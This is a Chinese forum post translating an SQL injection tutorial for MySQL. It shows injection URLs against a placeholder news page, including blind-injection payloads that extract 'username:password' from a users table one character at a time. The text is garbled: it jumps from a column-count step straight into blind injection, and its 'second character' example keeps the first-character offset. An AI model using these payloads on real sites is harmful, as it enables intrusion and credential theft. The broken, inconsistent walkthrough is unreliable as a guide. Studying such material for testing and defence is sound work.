设为首页 收藏本站
查看: 1254|回复: 0

[经验分享] [原创]SQL注入指南(一)

[复制链接]

尚未签到

发表于 2018-10-23 07:51:08 | 显示全部楼层 |阅读模式
  虽然现在有很多工具已经可以实现SQL自动注入,但是学习基本的SQL原理还是很有必要的。
  在学习SQL注入的过程中,发现外国友人写了一篇很好的SQL文章,比较详细的说明SQL注入的实现,对新手来说,理解文章里面的思路,能够比较有效的入门。
  网上能够搜索到原文和翻译,但大部分翻译均为机器翻译,可读性比较差,于是花了点时间,从自身理解的角度,重新翻译了这篇文章。在翻译的过程中,有加入自己对文章的理解,因此未必逐句逐句翻译原文,一是为了自己能过加深理解,二是为了尽可能提高可读性。
  原文的题目:“SQL Injection Tutorial by Marezzi (MySQL)”
  链接地址:https://www.exploit-db.com/papers/13045/
  以下是文章具体内容:(再次声明,下文加入自身的理解,未必逐句逐句翻译!)
  --------------------------------------------------------------
  在本教程中,我将介绍如何SQL注入工程和如何用它来获取一些有用的信息。
  首先:什么是SQL注入?
  它是在网络应用中最常见的漏洞之一。它允许***者执行的网址,并取得数据库查询访问一些机密信息等..(在短期内)。
  1.SQL注入(典型的)
  2.Blind SQL注入(较难的部分)
  1.SQL注入
  1). 检查漏洞
  比方说,我们有一些这样的网站
http://www.site.com/news.php?id=5  现在我们在末尾添加一个引号(')(quote)来测试该链接是否可***的SQL注入漏洞,如下所示
http://www.site.com/news.php?id=5'  如果我们获得一些类似如下的错误,这意味着存在SQL注入***:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."  2). 查找的列数
  为了找到“列”的数量,我们使用ORDER BY语句(告诉数据库如何列出搜索的结果)。因此如何使用?我们只要逐渐增加排序的列数,直到我们找到一个错误为止,如下所示:
http://www.site.com/news.php?id=5 order by 1   /* 95  页面正常加载,我们继续增加。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98  还是一样,继续增加。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99  此时如果页面不能正常加载,则该表中username这列中的第一个字符是char(99),使用ascii码转换器可以得知char(99)的字母是“c”。
  接着,我们来获取第二个字符:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99  注意,这里我把substring语句中的“,1,1”变成",2,1",现在该语句返回“从第2个字符开始且长度为1”的字符。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99  结果为真,页面正常加载。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107  不能正常加载,需要尝试更小的数字
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104  正常加载,尝试更大的数字
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105  不能加载!
  于是我们知道第二个字符是char(105),即字符“i”。到目前为止,我们知道前两个字符是“ci”。
  因此继续增加数字,直到结束。(当“>0”时不能正常加载页面,所有我们已经到最后的字符了)
  还有一些SQL盲注的工具,我认为sqlmap是最好的盲注工具了,但我依然尽可能尝试手动的方式。因为想有更好的SQL注入。
  希望你能够从这篇文章学到东西。
  Have FUN!
  --------------------------------------------------------------------
  以上是全文,文章由简入深,一步一步阐明SQL注入的方法和思路。
  由于测试的这个网站是不存在的,所以没有办法提供截图来展示,但可以开一个数据库,照着思路一步一步做,是能够看出效果的。
  读者如果对此有什么疑问,欢迎交流学习。



运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-625159-1-1.html 上篇帖子: PL/SQL - 03 下篇帖子: DB2V9.7, Toad报SQL0401N的错误.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表